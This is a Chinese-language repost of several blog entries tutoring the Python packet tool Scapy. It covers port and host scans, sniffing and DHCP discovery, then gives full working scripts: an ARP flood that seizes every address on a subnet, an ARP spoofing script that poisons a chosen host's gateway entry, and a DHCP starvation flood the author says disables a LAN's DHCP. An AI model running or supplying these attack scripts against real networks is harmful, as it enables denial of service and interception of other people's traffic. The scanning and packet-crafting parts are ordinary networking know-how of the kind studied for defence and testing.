转:http://my.oschina.net/fsxchen/blog/125006
Scapy
可以是用户发送,嗅探、分析和伪造网络数据包
一个强大的交互式包处理程序,
基于python,因此可以像python那样,函数调用、循环、分支语句等等!
网络的发现相当于是一个黑盒测试,我们需要发送许多个stimuli(数据包),但是得到回应的却是极少数!
任何数据包都可以被创建和切割
_可以得到lasted result
产生数据包集合
send Package
fuzzing
如图所示,可以看到flags的值是什么意思了。默认值2表示的意思就是SYN=1!
DNS查询:
>>>sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.baidu.com")))
ACK 扫描:
ans,unans=sr(IP(dst="www.slashdot.org")/TCP(dport=[80,666],flags="A"))
flags=“A”
Xmas Scan圣诞树扫描,Nmap里面这些扫描方式都是有的!关于这种扫描方式,由于MicroSoft忽略了标准,所以这种扫描方式对Windows95/NT是无效的!
ans,unans=sr(IP(dst="192.168.1.1")/TCP(dport=666,flags="FPU"))
flags=“FPU”,用wireshark看一下到底什么是FPU
可以看到,实际上就是将FIN PSH URG置为1的TCP数据包!
IP扫描
ans,unans=sr(IP(dst="192.168.1.1",proto=(0,255))/"SCAPY",retry=2)
arp Ping 扫描局域网中的Mac
ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst="192.168.1.0/24"),timeout=2)
对结果的处理
ICMP ping
ans,unans=sr(IP(dst="192.168.1.1-254")/ICMP())
在ICMP默认的封装格式中可以看到type=8,就是请求回显(Ping)
TCP ping
有的时候,某些服务器是可以进制ping的,可以是禁止icmp协议!
TCP扫描
在BT5中对某台readhad的扫描,下面我在这台redhat上面写上禁ping的策略
部署在redhat上面的禁ping策略
现在已经ping不起作用了,下面来看下此时的TCP ping
对于TCP的SYN扫描,看来还是有效的!
UPD Scan 其形式和TCP Scan 是类似的!
攻击手段!
非正常的数据包! Ping of Death ICMP携带的最大数据包长度为
SYN Scan SYN扫描,将flags字段设置为2,或者是“S”
事实上说明flags=“S”和flags=2 效果是一样的!而且默认的值就是flags=2,关于flags字段,还有flags=“SA” 即SYNACK 包!
???在这个IP(虚拟机的)里面,总是有警告:扫描目标的Mac无法发现,即使是手动封装也还是会出现问题?还有就是扫描本级也有问题!貌似扫描x.x.x.1/google.com d等是没有什么问题的!
后来本人换用BackTrack5 没有发现这样的问题,怀疑还是与用户权限有关系的!
sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags='S')) 使用随机端口进行对服务器的扫描
关于结果与sprintf()
nmap_fd
最早的支持的是Nmap4.2,貌似支持4.3以前的版本。在scapy的V2中必须先load an extension module
load_module(“nmap”)
使用scapy 嗅探网络数据包
sniff(fliter = “icmp and host 66.35.250.151”, count=2)
sniff(iface=”en1”, count= , prn= lambda x: x.show)
使用wireshark来查看数据包
>>> packets=Ether()/IP(dst=Net("google.com/30"))/ICMP()# first generate some packets>>> wireshark(packets)# show them with Wireshark
使用scapy构造DHCP Discovery 数据包!
>>> conf.checkIPaddr=False
>>> fam,hw=get_if_raw_hwaddr(conf.iface)
>>> dhcp_discover=Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"])
>>> ans,unans=srp(dhcp_discover,multi=True)# Press CTRL-C after several seconds
Begin emission:Finished to send 1 packets..*...*..Received 8 packets, got 2 answers, remaining 0 packets
可以查看的LAN上面所有的DHCP Server
注意记得要把在srp函数中要加muti = True,这样才能接受多个dhcp的offer
http://my.oschina.net/fsxchen/blog/125435
前几天,在学习Scapy,一个很强悍、很有名的封包工具,在BT5里面就有的,安装也是很简单的!是基于Python的一个交互式的工具。支持的协议广泛!但是不支持比较上层的协议,比如http。工作效率也不是很高,只是适合比较简单的小工具!
#!/usr/bin/python """ LAN Mac Scan date 2013.4.22 """ import sys, os from scapy.all import * if os.geteuid() != 0: print "This program must be run as root. Aborting." sys.exit() if len(sys.argv) < 2: print "Please Use %s x.x.x" % (sys.argv[0]) exit() conf.verb = 0 ipscan = sys.argv[1] + ".0/24" f = file("Mac_list.txt", 'w') ans, unans = srp(Ether(dst = "FF:FF:FF:FF:FF:FF")/ARP(pdst = ipscan), timeout = 2) print ans[0] for snd, rcv in ans: print rcv list_mac = rcv.sprintf("%Ether.src% -> %ARP.psrc%") print rcv.sprintf("%Ether.src% -> %ARP.psrc%") f.write(list_mac+'\n') f.close()
上面的就是一个局域网扫描工具,可以扫描整个局域网上面的网关!
#!/usr/bin/python """ ARP attack """ import sys, os from scapy.all import * if os.geteuid() != 0: print "This program must be run as root. Aborting." sys.exit() if len(sys.argv) < 2: print "Pkease Use %s x.x.x" % (sys.argv[0]) exit() attackIP = sys.argv[1] + ".0/24" srploop(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=attackIP, psrc="192.168.100.1", hwsrc="00:66:66:66:66:66"), timeout=2)
在局域网里面请求该网段里面所有的IP地址的Mac,在以太网中,主机就是以这种方式,来确定IP地址是否被占用了的!这段代码会占用掉所有的IP,让别人的机子出现IP地址冲突的错误!
#!/usr/bin/python """ An ARP replies """ from scapy.all import * AttackIP = raw_input("Please input the IP of GateWay:") AttackIP_PC = raw_input("Please input the IP PC:") srploop(Ether(dst = "00:0C:29:4B:B2:8C")/ARP(op = "is-at", \ pdst = "192.168.100.9", hwdst = "00:0C:29:4B:B2:8C", psrc = AttackIP, hwsrc = "04:54:53:05:41:44"))
&nsbp;&nsbp;一个ARP欺骗,这里就是欺骗了一个特定的IP(ip = 192.168.100.9 MAC:00:0C:29:4B:B2:8C),告诉这个IP地址,网关的IP(AttackIP)的Mac是"04:54:53:05:41:44",其实这个Mac你就可以随意改的啦!
http://my.oschina.net/fsxchen/blog/125609
#!/usr/bin/python from scapy.all import * conf.checkIPaddr = False dhcp_discover = Ether(src=RandMAC(),dst="ff:ff:ff:ff:ff:ff") \ /IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67) \ /BOOTP(chaddr=RandString(12,'0123456789abcdef')) \ /DHCP(options=[("message-type","discover"),"end"]) sendp(dhcp_discover,loop=1)
代码依然很简单,不过还是要用管理员权限才可以运行的,原理也很简单,就是在局域网里面一直发送DHCP discovery报文,这样可以使局域网内DHCP失效,还是很可怕的!不过,稍微修改一下!可以做成一个网管工具,可以找到非法的DHCP服务器!
#!/usr/bin/python import sys from scapy.all import * p = sr1(IP(dst = sys.argv[1])/TCP()) if p:
p.show()
一个简单的TCP ping工具,对显示的结果没有做什么处理!
更多scapy教程:
http://wikicode.net/?cat=30 小五义
http://blog.sina.com.cn/s/blog_53737d110100x0sg.html 基础